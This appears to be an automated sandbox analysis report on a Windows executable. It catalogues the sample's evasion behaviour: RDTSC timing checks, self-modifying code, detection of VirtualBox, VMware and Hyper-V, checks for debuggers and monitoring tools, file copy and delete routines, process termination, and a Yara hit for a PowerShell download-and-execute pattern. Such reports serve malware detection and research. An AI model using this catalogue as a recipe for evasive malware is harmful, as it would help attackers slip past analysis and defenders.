Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF4BC second address: 11DF4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF4C2 second address: 11DF4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF644 second address: 11DF66A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF09325AC7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jl 00007FBF09325AB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF66A second address: 11DF66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF79C second address: 11DF7A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E001F second address: 11E002B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B0A second address: 11E3B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FBF09325ABCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122D2E second address: 1122D41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 js 00007FBF08D33346h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA525 second address: 11EA533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a pop esi 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA533 second address: 11EA553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33353h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FBF08D33346h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA6B6 second address: 11EA6C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007FBF09325AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA839 second address: 11EA83D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECF55 second address: 11ECF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA652 second address: 11FA666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA666 second address: 11FA672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA672 second address: 11FA676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA676 second address: 11FA6A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FBF09325AC9h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA6A6 second address: 11FA6AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA6AD second address: 11FA6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA6B3 second address: 11FA6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBF08D3334Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCCB3 second address: 11FCCBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCCBF second address: 11FCCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC878 second address: 11FC887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FBF09325AB8h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC887 second address: 11FC89E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Dh 0x00000007 jnl 00007FBF08D3334Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202620 second address: 1202624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202624 second address: 120262A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214961 second address: 1214965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214965 second address: 1214977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121360E second address: 1213621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF09325ABCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213770 second address: 121378C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33355h 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121378C second address: 12137C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FBF09325AC6h 0x00000011 pop edx 0x00000012 push eax 0x00000013 jmp 00007FBF09325AC0h 0x00000018 jbe 00007FBF09325AB6h 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213A61 second address: 1213A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213A70 second address: 1213A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213A75 second address: 1213A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218727 second address: 121872B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12182CF second address: 12182D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121843B second address: 1218469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 jmp 00007FBF09325AC5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221ED2 second address: 1221ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221ED7 second address: 1221EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221EDD second address: 1221EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33356h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221EFB second address: 1221F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF09325AB6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12349BC second address: 12349C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12349C4 second address: 12349CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124485B second address: 1244868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244868 second address: 1244881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC1h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243744 second address: 124377F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007FBF08D33346h 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jmp 00007FBF08D33354h 0x00000014 pushad 0x00000015 je 00007FBF08D33346h 0x0000001b jnl 00007FBF08D33346h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 jnl 00007FBF08D33346h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124377F second address: 124378C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243D47 second address: 1243D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244195 second address: 124419C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124419C second address: 12441AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBF08D3334Ch 0x00000008 jl 00007FBF08D33346h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12441AE second address: 12441BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FBF09325ABEh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12442F4 second address: 1244302 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FBF08D3334Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244302 second address: 124430E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245F36 second address: 1245F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245F45 second address: 1245F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A67C second address: 124A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jns 00007FBF08D33346h 0x00000014 jng 00007FBF08D33346h 0x0000001a popad 0x0000001b jmp 00007FBF08D33355h 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A6B6 second address: 124A6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0502 second address: 52D0543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D3334Ah 0x00000009 popad 0x0000000a pushfd 0x0000000b jmp 00007FBF08D33352h 0x00000010 and ecx, 2B690F98h 0x00000016 jmp 00007FBF08D3334Bh 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f mov cx, dx 0x00000022 push eax 0x00000023 push edx 0x00000024 mov edi, 712ECF74h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0543 second address: 52D0551 instructions: 0x00000000 rdtsc 0x00000002 mov ah, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov esi, ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0551 second address: 52D056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D33355h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D056A second address: 52D056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D056E second address: 52D058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FBF08D3334Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D058C second address: 52D0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0590 second address: 52D0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0594 second address: 52D059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E87F second address: 116E885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBB28E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBDC01 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11F1E6D instructions caused by: Self-modifying code

Contains capabilities to detect virtual machines

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Found evaded block containing many API calls

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CE40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CDE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CE47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CD1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDDB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDBE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CDEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDDF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CD1160 GetSystemInfo,ExitProcess,

0_2_00CD1160

Source: file.exe, file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Checks for debuggers (devices)

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CD4610 VirtualProtect ?,00000004,00000100,00000000

0_2_00CD4610

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\file.exe

0_2_00CE9BB0

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE9AA0 mov eax, dword ptr fs:[00000030h]

0_2_00CE9AA0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE7690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00CE7690

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00CE9790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE98E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00CE98E0

Source: file.exe, file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: QProgram Manager

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D17588 cpuid

0_2_00D17588

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00CE7D20

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE6BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00CE6BC0

